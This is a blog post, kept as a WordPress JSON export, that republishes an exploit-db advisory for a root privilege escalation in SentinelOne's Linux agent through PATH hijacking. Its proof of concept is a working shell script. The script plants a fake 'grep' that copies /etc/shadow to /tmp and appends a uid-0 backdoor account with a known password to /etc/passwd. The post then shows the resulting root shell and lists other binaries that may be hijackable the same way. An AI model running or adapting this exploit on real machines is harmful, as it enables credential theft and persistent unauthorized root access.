Exploit Title: SentinelOne sentinelagent (linux) root Privilege Escalation zero day vulnerability
\nDate: 12\/06\/2022
\nExploit Author: ouch_this_hurts
\nVendor Homepage: https:\/\/www.sentinelone.com\/
\nSoftware Link: https:\/\/assets.sentinelone.com\/prod\/s1-linux-agent-datas
\nVersion: 22.3.2.5
\nTested on: Ubuntu 22.04.x
\nCVE: NA<\/p>\n
Not enough AI in the world can help you write secure software it seems? The vendor doesnt make reporting vulnerabilities easy, so to exploit-db it goes :)<\/p>\n
Protips:
\n– If I Google you, and I cannot find an easy way to report the vulnerability, I’m not going to bother.
\n– If you require me to use HackerOne, I’m not going to bother.
\n– If you dont have a security.txt, how do you expect me to contact you?<\/p>\n
Get `root` on a system with `sentinelagent<=22.3.2.5` with one simple trick:<\/p>\n
Override `grep` in the `PATH` with your malicious code. Reboot. pwnd. Nice!<\/p>\n
PoC below:
\n1. Find the systems “earliest” `PATH`, or just override it to whatever you want in `\/etc\/environment` with some other staged exploit.
\n2. Create the following `grep` file in that directory and make sure its executable:<\/p>\n
“`shell
\ncat << SENTINELOOPS > \/usr\/local\/bin\/grep
\n#!\/bin\/bash
\n# I think I’ll have the passwds pl0x
\ncat \/etc\/shadow > \/tmp\/etc_shadow<\/p>\n
# password is password :)
\necho ‘sentinel_oops:\\$1\\$user1\\$WuzQ29wbcMN09VLW7X0\/q1:0:0::\/root:\/bin\/sh’ >> \/etc\/passwd
\nSENTINELOOPS<\/p>\n
chmod +x \/usr\/local\/bin\/grep
\n“`<\/p>\n
3. Wait for machine to reboot, login as `sentinel_oops:password` :)<\/p>\n
“`
\n$ su sentinel_oops
\nPassword:
\n# whoami
\nroot
\n“`<\/p>\n
What actually happened here? On `sentinelagent` start it runs `sh -c “grep….”`.<\/p>\n
So there are potentially other ways of privilege escalation via this “agent”?
\n– `grep` as demonstrated above
\n– `pgrep` examining the binary appears to be vulnerable
\n– `xargs` examining the binary appears to be vulnerable
\n– `cat` examining the binary appears to be vulnerable
\n– `pgrep` examining the binary appears to be vulnerable
\n– `ldd` examining the binary appears to be vulnerable
\n– `lsmod` examining the binary appears to be vulnerable
\n– `mksh` examining the binary appears to be vulnerable
\n– `awk` examining the binary appears to be vulnerable<\/p>\n
[CWE-427](https:\/\/cwe.mitre.org\/data\/definitions\/427.html) and [how to write secure software](https:\/\/youtu.be\/RfiQYRn7fBg?t=16)<\/p>\n","protected":false},"excerpt":{"rendered":"
Exploit Title: SentinelOne sentinelagent (linux) root Privilege Escalation zero day vulnerability Date: 12\/06\/2022 Exploit Author: ouch_this_hurts Vendor Homepage: https:\/\/www.sentinelone.com\/ Software Link: https:\/\/assets.sentinelone.com\/prod\/s1-linux-agent-datas Version: 22.3.2.5 Tested on: Ubuntu 22.04.x CVE: NA Not enough AI in the world can help you write secure software it seems? The vendor doesnt make reporting vulnerabilities easy, so to exploit-db it …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-34506","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34506","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=34506"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34506\/revisions"}],"predecessor-version":[{"id":34702,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/34506\/revisions\/34702"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=34506"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=34506"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=34506"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}